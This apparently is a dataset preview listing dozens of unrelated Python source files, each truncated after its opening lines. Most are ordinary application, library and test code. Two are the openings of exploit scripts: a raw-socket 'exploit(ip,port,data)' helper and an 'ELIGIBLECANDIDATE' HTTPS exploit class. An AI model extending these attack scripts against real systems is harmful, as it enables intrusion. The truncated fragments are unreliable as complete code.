src
stringlengths
721
1.04M
from django.contrib import admin from .models import Page, Menu from django.shortcuts import render, HttpResponse from mptt.exceptions import InvalidMove from apps.feincms.admin import tree_editor from django_base.settings import SITE_NAME from django.utils.translation import ugettext_lazy as _ from .forms import MenuP...
from tokens import * import functools def rule(rule_definition, state=None, add_to_docstring=True): """A general purpose decorator-generator for methods that represent rules. This decorator adds two attributes to the method: the 'rule' attribute with the given rule strng in it and the 'state' attribute...
# Copyright 2011 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
from django.template import Context, Template from django.test import TestCase def render_template(content, **context_args): """Create a template that loads the `phrase_i18n` tags and adds the given content.""" template = Template("{% load phrase_i18n %}" + content) return template.render(Context(context_...
# Copyright 2013 Openstack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
import os import pathlib from pathlib import Path import re def has_admin(): if os.name == 'nt': try: # only windows users with admin privileges can read the C:\windows\temp temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\\windows'), 'temp'])) except: ...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('imager_images', '0003_auto_20150726_1224'), ] operations = [ migrations.AlterField( model_name='album', ...
import codecs from collections import defaultdict import csv import json import prettytable import operator import os.path try: import matplotlib.pylab as plt import matplotlib.patches as mpatches import matplotlib.lines as Line2D except: plt = None mpatches = None Line2D = None try: import ...
from ems.qt import QtWidgets, QtGui, QtCore QGraphicsItem = QtWidgets.QGraphicsItem QGraphicsObject = QtWidgets.QGraphicsObject QObject = QtCore.QObject pyqtProperty = QtCore.pyqtProperty QStyle = QtWidgets.QStyle QBrush = QtGui.QBrush QColor = QtGui.QColor QRectF = QtCore.QRectF Qt = QtCore.Qt QEvent = QtCore.QEvent...
from collections import OrderedDict import datetime import logging import re import pytz import requests from twisted.internet import defer, error, reactor from twisted.internet.threads import deferToThread from cardinal import util from cardinal.bot import user_info from cardinal.decorators import command, help, reg...
import sys from django.conf import settings from django.views.decorators.csrf import csrf_exempt from shanghai.http import HttpResponseNotImplemented from shanghai.utils import setattrs class DispatcherMixin(object): def action_not_implemented(self): return HttpResponseNotImplemented() def resolve...
""" This script processes the output from the C preprocessor and extracts all qstr. Each qstr is transformed into a qstr definition of the form 'Q(...)'. This script works with Python 2.6, 2.7, 3.3 and 3.4. """ import re import argparse import os # Python 2/3 compatibility: # - iterating through bytes is different...
# # Copyright (c) 2005 Canonical # Copyright (c) 2004 Conectiva, Inc. # # Written by Gustavo Niemeyer <niemeyer@conectiva.com> # # This file is part of Smart Package Manager. # # Smart Package Manager is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as publi...
#! /usr/bin/env python from pySecDec.loop_integral import loop_package import pySecDec as psd li = psd.loop_integral.LoopIntegralFromPropagators( loop_momenta = ['k1','k2'], external_momenta = ['p1','p2','p3','p4','p5'], #Lorentz_indices = ['mu'], propagators = ['k1**2','(k1-p1)**2','(k1-p1-p2)**2','(k1-p1-p2-p3)**...
#! /usr/bin/env python2.7 # -*- coding: utf-8 -*- """ """ from django.views.generic import CreateView, UpdateView from django.views.generic import DetailView, ListView from braces.views import LoginRequiredMixin, PermissionRequiredMixin from models import Category, Tag from forms import CategoryCreateForm, TagCreate...
from copy import deepcopy import numpy as np from sklearn.base import clone from sklearn.ensemble import AdaBoostClassifier from sklearn.ensemble._base import _set_random_states from sklearn.utils import _safe_indexing from ..under_sampling.base import BaseUnderSampler from ..under_sampling import RandomUnderSampler...
# ##### BEGIN GPL LICENSE BLOCK ##### # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distrib...
import os import re import json import logging import hashlib import requests import yara import time from requests.exceptions import RequestException from mwscan import settings # For very old installs, eg CentOS: # https://github.com/magesec/magesec/issues/60 try: requests.packages.urllib3.disable_warnings() exc...
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. from datetime import datetime, date from lxml import etree import time from openerp import api from openerp import SUPERUSER_ID from openerp import tools from openerp.osv import fields, osv from openerp.tools.safe_eval ...
# Copyright 2018,2019,2020,2021 Sony Corporation. # Copyright 2021 Sony Group Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #...
# Copyright (C) 2014-2016 Andrey Antukh <niwi@niwi.nz> # Copyright (C) 2014-2016 Jesús Espino <jespinog@gmail.com> # Copyright (C) 2014-2016 David Barragán <bameda@dbarragan.com> # Copyright (C) 2014-2016 Alejandro Alonso <alejandro.alonso@kaleidos.net> # This program is free software: you can redistribute it and/or mo...
#!/usr/bin/env python3 import sys import json import plotly import plotly.graph_objs as go def make_histogram(trace_list): ''' Function to make an histogram from a list Parameters ---------- trace_list: list A list with all entries to the histogram (entries should be float) ''' s...
from social.apps.django_app.utils import psa from social.exceptions import AuthMissingParameter from django.core.urlresolvers import reverse from django.http import HttpResponse, HttpResponseRedirect, HttpResponseForbidden, Http404 from django.shortcuts import render_to_response, get_object_or_404, redirect from djan...
import argparse import os import struct import tqdm from program_synthesis.karel.tools import indexed_file if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--input', required=True) parser.add_argument('--num-pieces', required=True, type=int) args = parser.parse_args...
# -*- coding: utf-8 -*- # Copyright(C) 2010-2012 Romain Bignon, Florent Fourcot # # This file is part of weboob. # # weboob is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the Licen...
import os import time from basic.common import printStatus from mlengine_const import DEFAULT_BLOCK_SIZE INFO = __file__ def classify_large_data(model, imset, feat_file, prob_output=False, blocksize=DEFAULT_BLOCK_SIZE): start = 0 results = [] read_time = 0.0 test_time = 0.0 while start < len(i...
# -*- coding: utf-8 from __future__ import unicode_literals from textwrap import dedent from behave import then, when import wrappers @when('we run dbcli with {arg}') def step_run_cli_with_arg(context, arg): wrappers.run_cli(context, run_args=arg.split('=')) @when('we execute a small query') def step_execute_...
""" Copyright 2014 Werner Langenhuisen Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to...
from django.conf.urls.defaults import patterns, url from django.test import TestCase from django.test import Client urlpatterns = patterns('djangorestframework.utils.staticviews', url(r'^robots.txt$', 'deny_robots'), url(r'^favicon.ico$', 'favicon'), url(r'^accounts/login$', 'api_login'), url(r'^accou...
import unittest import numpy as np import pandas as pd from matplotlib import pyplot as plt from sklearn import datasets from MachineLearningUtils.UsefulPlots import _BasePlot from MachineLearningUtils.DatasetTools import DatasetsTools class _BasePlotTestCase(unittest.TestCase): def setUp(self): self.ir...
# ----------------------------------------------------------------------------- # Copyright (c) 2014--, The Qiita Development Team. # # Distributed under the terms of the BSD 3-clause License. # # The full license is in the file LICENSE, distributed with this software. # ------------------------------------------------...
""" Forms about content editing. """ from flask_wtf import FlaskForm from wtforms import StringField, IntegerField,\ TextAreaField, DateTimeField, SubmitField,\ SelectField, DateField, BooleanField from flask_wtf.file import FileField, FileRequired from wtforms.fields.html5 impo...
#!/usr/bin/env python from __future__ import print_function from future.standard_library import install_aliases install_aliases() from urllib.parse import urlparse, urlencode from urllib.request import urlopen, Request from urllib.error import HTTPError import json import os import re from flask import Flask from f...
from __future__ import absolute_import from .api import Request, Response from .types import Array, Boolean, Bytes, Int16, Int32, Schema, String class ApiVersionResponse_v0(Response): API_KEY = 18 API_VERSION = 0 SCHEMA = Schema( ('error_code', Int16), ('api_versions', Array( ...
# -*- coding: utf-8 -*- """ wegene.Controllers.PsychologyController This file was automatically generated by APIMATIC BETA v2.0 on 02/22/2016 """ import requests from wegene.APIHelper import APIHelper from wegene.Configuration import Configuration from wegene.APIException import APIException from wegene.Models...
# -*- coding: utf-8 -*- # # Copyright (c) 2015, Alcatel-Lucent Inc, 2017 Nokia # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyrigh...
# -*- encoding: utf-8 -*- ################################################################################ # # # Copyright (C) 2013-Today Carlos Eduardo Vercelino - CLVsol # # ...
""" WSGI config for auditor project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` ...
""" plotable rich object display on IPython/Jupyter notebooks """ __author__ = "Philippe Guglielmetti" __copyright__ = "Copyright 2015, Philippe Guglielmetti" __credits__ = [] __license__ = "LGPL" # import matplotlib and set backend once for all from . import itertools2 import os import io import sys i...
import maya.cmds as cmds import random def PolyToruses(\ x = random.uniform(-10,10),\ x_r = 1,\ y = random.uniform(0,20),\ y_r = 1,\ z = random.uniform(-10,10),\ z_r = 1,\ xRot = random.uniform( 0, 360 ),\ xRot_r = 10,\ yRot = random.uniform( 0, 360 ),\ yRot_r = 10,\ zRot = random.uniform( 0, 360 ),\ zRot_r = 10,\ r ...
#!/usr/bin/env python import time import sys sys.path.insert(0, '../Tools') import network3N as netw import tools as tl import numpy as np class network(netw.network): title = "Neural Network Motif" def __init__(self, g_inh=0.01, info=None, position=None): netw.network.__init__(self, g_inh, info, position...
from lxml import etree class WordpressXMLParser: def __init__(self, xml_file): self.tree = etree.parse(xml_file) self.ns = self.tree.getroot().nsmap def get_meta(self): return { "title": str(self.tree.xpath("/rss/channel/title/text()")[0]), "baseurl": str(self....
from collections import OrderedDict from time import sleep, time import re import otto.connections.ssh from otto.lib.otypes import ReturnCode from otto.lib.decorators import wait_until def get_elstats(initiator): """ This function will translate data from /dev/ethdrv/elstat into a dictionary. """ els...
# -------------- # USER INSTRUCTIONS # # Write a function called stochastic_value that # takes no input and RETURNS two grids. The # first grid, value, should contain the computed # value of each cell as shown in the video. The # second grid, policy, should contain the optimum # policy for each cell. # # Stay ...
# Copyright (c) 2014 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the License); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, so...
''' Prototype functionality for interacting with the Source model directly, including tab-completion in IPython/Jupyter. Eg v = veneer.Veneer() scenario = Queryable(v) scenario.Name = 'New Scenario Name' ''' class Queryable(object): def __init__(self,v,path='scenario',namespace=None): self._v = v ...
#!/usr/bin/env python import sys import argparse from getpass import getpass, getuser from BioSQL import BioSeqDatabase from Bio import SeqIO from Bio import Entrez Entrez.email = 'c.skennerton@gmail.com' def add_taxid(inIter, taxid): inIter.annotations['ncbi_taxid'] = taxid return inIter def load_gff(db, gff...
"""workbench URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.10/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-...
# -*- coding: utf-8 -*- # # Copyright 2018 Ibai Roman # # This file is part of BOlib. # # BOlib is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your ...
# -*- coding: utf-8 -*- # # unitex-library documentation build configuration file, created by # sphinx-quickstart on Mon Jun 23 17:35:11 2014. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file...
# Copyright (c) 2001-2018, Canal TP and/or its affiliates. All rights reserved. # # This file is part of Navitia, # the software to build cool stuff with public transport. # # Hope you'll enjoy and contribute to this project, # powered by Canal TP (www.canaltp.fr). # Help us simplify mobility and open public tr...
# -*- coding: utf-8 -*- # Brandeis - A tool to convert plaintext court cases (from the lochner # tool: http://gitorious.org/lochner/) to wikitext. # # Copyright (C) 2013 Molly White # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as publ...
import re import argparse def wage_calculator(log_txt_file, month, year, wage): date_pattern = "\*\*Date\*\*" # pattern identifying the date in the file hours_full = [] with log_txt_file as f: for line in log_txt_file: if re.search(r"{0}".format(date_pattern), line): # go to the...
# Copyright (c) 2008 Mikeal Rogers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
# Copyright (C) 2015 Simon Biggs # This program is free software: you can redistribute it and/or # modify it under the terms of the GNU Affero General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This program is distributed in...
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2013-Today OpenERP SA (<http://www.openerp.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms ...
#!/usr/bin/env python from socket import * from struct import * from time import * import sys def L32(val): return pack('<I',val) def ip_value(ip_str): ret = 0x00000000 str_list = ip_str.split('.') for i in xrange(len(str_list)): ret += int(str_list[i])<<(3-i)*8 return ret def exploit(ip,port,data): sockfd = ...
#!/usr/bin/env python # Part of tikplay import json import os.path import re import requests from provider.retriever import Retriever from utils import is_url from utils.shell import call_subprocess class GenericURLRetriever(Retriever): """ A generic URL retriever that tries to guess whether or not the given...
"""Handle the date range setting and remembering """ import datetime import logging from django.conf import settings import pytz # NOTE: this module is obsolete as date ranges are entirely handled in # javascript and should be passed as request parameter logger = logging.getLogger(__name__) # Session data postfix...
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-08-20 00:36 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('core', '0021_channel_image'), ] operatio...
import os import sys from setuptools import setup, find_packages def read(fname): try: with open(os.path.join(os.path.dirname(__file__), fname)) as fh: return fh.read() except IOError: return '' requirements = read('REQUIREMENTS').splitlines() tests_requirements = read('TEST-REQU...
#!/usr/bin/env python """ This script takes any file that can be divided into records and returns N randomly selected records Records can be fasta, fastq, genbank, or something described by a simple RegExp """ from os import path from edl.util import * from edl.batch import * import re import sys import argparse ...
""" Celery set up, as recommended by celery http://celery.readthedocs.org/en/latest/django/first-steps-with-django.html Celery will automatically discover and use methods within INSTALLED_APPs that have the @shared_task decorator. """ # absolute_import prevents conflicts between project celery.py file # and the celery...
import os import binascii import json import re import redis import config from ipaddress import ip_address, ip_network from datetime import datetime from bottle import Bottle, request, response, HTTPResponse from dbconn.dbconn import get_connection from logger.logger import Logger # TODO: node_key check decorator # T...
"""distutils.cygwinccompiler Provides the CygwinCCompiler class, a subclass of UnixCCompiler that handles the Cygwin port of the GNU C compiler to Windows. It also contains the Mingw32CCompiler class which handles the mingw32 port of GCC (same as cygwin in no-cygwin mode). """ # problems: # # * if you use a msvc com...
"""Packet out message tests.""" from pyof.foundation.exceptions import ValidationError from pyof.v0x01.common.action import ActionOutput from pyof.v0x01.common.phy_port import Port from pyof.v0x01.controller2switch.packet_out import PacketOut from tests.unit.test_struct import TestStruct class TestPacketOut(TestStruc...
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # encoding: utf-8 # Copyright 2014 Orange # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Un...
# Copyright (c) 2015 Ultimaker B.V. # Cura is released under the terms of the AGPLv3 or higher. from UM.Backend.Backend import Backend from UM.Application import Application from UM.Scene.SceneNode import SceneNode from UM.Scene.Iterator.DepthFirstIterator import DepthFirstIterator from UM.Preferences import Preferenc...
"""empty message Revision ID: 413f129e8b07 Revises: None Create Date: 2014-05-02 08:09:09.906725 """ # revision identifiers, used by Alembic. revision = '413f129e8b07' down_revision = None from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - please adjust! ###...
# Copyright (c) 2014-2015 Bruno Daniel <bruno.daniel@blue-yonder.com> # Copyright (c) 2015-2016 Claudiu Popa <pcmanticore@gmail.com> # Copyright (c) 2016 Ashley Whetter <ashley@awhetter.co.uk> # Copyright (c) 2016 Glenn Matthews <glenn@e-dad.net> # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-...
import re from timeit import default_timer as clock class Timer(object): """ A helper class for testers to track the time it takes to run. Every call to the start method must be followed by a call to stop. """ def __init__(self): self.starts = [] self.ends = [] def start(self)...
import os import sys import time import logging from string import Template from random import choice import psphere.client as vcsa_client from psphere.managedobjects import ClusterComputeResource from psphere.managedobjects import VirtualMachine from psphere.managedobjects import HostSystem from psphere.managedobjects...
# -*- coding: utf-8 -*- # # nwm_to_gssha.py # GSSHApy # # Created by Alan D Snow, 2016. # License BSD 3-Clause import logging from datetime import timedelta from os import mkdir, path, remove, rename import xarray as xr from .grid_to_gssha import GRIDtoGSSHA log = logging.getLogger(__name__) # ----------------...
# coding: utf-8 """ Paasta API No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 impor...
""" Unit tests for conductor's collections module """ import logging import mock from nose import tools from conductor import collections from conductor.settings import settings from conductor import errors logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__file__) class TestCollectionFactory(ob...
#!/usr/bin/env python # -*- Mode: Python; indent-tabs-mode: nil -*- # vi: set ts=4 sw=4 expandtab: # ***** BEGIN LICENSE BLOCK ***** # Version: MPL 1.1/GPL 2.0/LGPL 2.1 # # The contents of this file are subject to the Mozilla Public License Version # 1.1 (the "License"); you may not use this file except in compliance w...
# coding: utf-8 from django.template.context import BaseContext, ContextPopException class LiveContext(BaseContext): """ Inner-Class, storing context-dictionary and making usage with "with"-statement possible. depends on django.template.context.BaseContext """ def __init__(self, instance, dict...
# Copyright (c) 2014, Fundacion Dr. Manuel Sadosky # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, this # list of condit...
#! /usr/bin/env python # -*- coding:utf-8 -*- import os VOCAB_SIZE = 6000 SEP_TOKEN = 0 PAD_TOKEN = 5999 DATA_RAW_DIR = 'data/raw' DATA_PROCESSED_DIR = 'data/processed' DATA_SAMPLES_DIR = 'data/samples' MODEL_DIR = 'model' LOG_DIR = 'log' if not os.path.exists(DATA_PROCESSED_DIR): os.mkdir(DATA_PROCESSED_DIR)...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.contrib.auth.decorators import login_required from django.http import HttpResponseNotAllowed, HttpResponseBadRequest, JsonResponse from .models import Favorite @login_required def add_or_remove(request): if not request.is_ajax(): ...
# Copyright 2016 Mirantis inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
#!/usr/bin/env python2.7 import sys import tarfile from time import ctime,sleep from StringIO import StringIO from fosho import HTTPSExploit,run_exploit,randstr from fosho.requests.exceptions import * class ELCAExploit(HTTPSExploit): name = "ELIGIBLECANDIDATE" version = "v1.1.0.1" desc="What is the sound...
""" Python Interchangeable Virtual Instrument Library Copyright (c) 2012-2016 Alex Forencich Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the...
# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Changing field 'Document.file' db.alter_column('briefcase_document', 'file', self.gf('django.db.models.f...
# Copyright (c) 2012 Rackspace Hosting # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless req...
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(here, 'README.txt')) as f: README = f.read() with open(os.path.join(here, 'CHANGES.txt')) as f: CHANGES = f.read() requires = [ 'pyramid', 'pyramid_chameleon', 'pyramid_d...
from botstory.ast import story_context from todo.tasks import tasks_document async def current_task(ctx): """ get current task from ctx :param ctx: :return: """ task_id = story_context.get_message_data(ctx, 'option', 'matches')[0] return await tasks_document.TaskDocument.objects.find_by_id...
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function, unicode_literals from logging import getLogger from os.path import realpath import re import struct from ..base.constants import PREFIX_PLACEHOLDER from ..common.compat import on_win from ..exceptions import CondaIOError, Binary...
# -*- coding: utf-8 -*- import random import string from typing import Optional from game.blackJackGame_old import BlackJackGame __author__ = 'Rico' # game_handler handles the blackJack-game-objects. When a new game is created, it is saved in the "game_list" class GameHandler(object): class __GameHandler(objec...
""" `notipyserver` - User-Notification-Framework server Provides test cases for the notipyserver userregistration module. :copyright: (c) by Michael Imfeld :license: MIT, see LICENSE for details """ from mock import patch, MagicMock from nose.tools import assert_equal, assert_raises import telegram from notipyserver...
#!/usr/bin/env python SNAPBLOCK_NAME = 'snapshot' SNAPSHOT_SIZE = 8 * (2**20) import corr import struct import matplotlib.pyplot as plt import numpy import time fpga = corr.katcp_wrapper.FpgaClient("localhost") fpga.snapshot_arm("adc0_snap", man_trig=False, man_valid=False, offset=-1, circular_capture=False) time.sl...
from abc import (ABCMeta, abstractmethod, abstractproperty) from os import path as ospath import logging import nbformat from nbconvert import (PythonExporter, RSTExporter) from nbd.fileops import (get_file_id, write_file) EXPORT_FORMAT_PYTHON = 'python' EXPORT_FORMAT_RST = 'rst' logger = logging.getLogger() clas...
import logging from pyvisdk.exceptions import InvalidArgumentError ######################################## # Automatically generated, do not edit. ######################################## log = logging.getLogger(__name__) def AlarmInfo(vim, *args, **kwargs): '''Attributes of an alarm.''' obj = vim.cli...
#!/usr/bin/python # # Copyright(c) 2009, Gentoo Foundation # # Licensed under the GNU General Public License, v2 # # $Header$ import unittest from gentoolkit.cpv import * from gentoolkit.test import cmp class TestGentoolkitCPV(unittest.TestCase): def assertEqual2(self, o1, o2): # logic bugs hidden behind short c...
from PIL import Image from PIL.ExifTags import GPSTAGS, TAGS def _get_if_exist(data, key): if key in data: return data[key] return None def _convert_to_degrees(value): """Helper function to convert the GPS coordinates stored in the EXIF to degress in float format""" d0 = value[0][0] d1 =...
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # no...
"""Listing of VTEC emergencies""" import json import memcache import psycopg2.extras from paste.request import parse_formvars from pyiem.util import get_dbconn, html_escape ISO9660 = "%Y-%m-%dT%H:%M:%SZ" def run(): """Generate data.""" pgconn = get_dbconn("postgis") cursor = pgconn.cursor(cursor_factory...
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
# -*- coding: utf-8 -*- ## This file is part of Invenio. ## Copyright (C) 2012, 2013 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option...
# -*- coding: utf-8 -*- """ werkzeug.debug.tbtools ~~~~~~~~~~~~~~~~~~~~~~ This module provides various traceback related utility functions. :copyright: 2007 Pallets :license: BSD-3-Clause """ import codecs import inspect import json import os import re import sys import sysconfig import traceback ...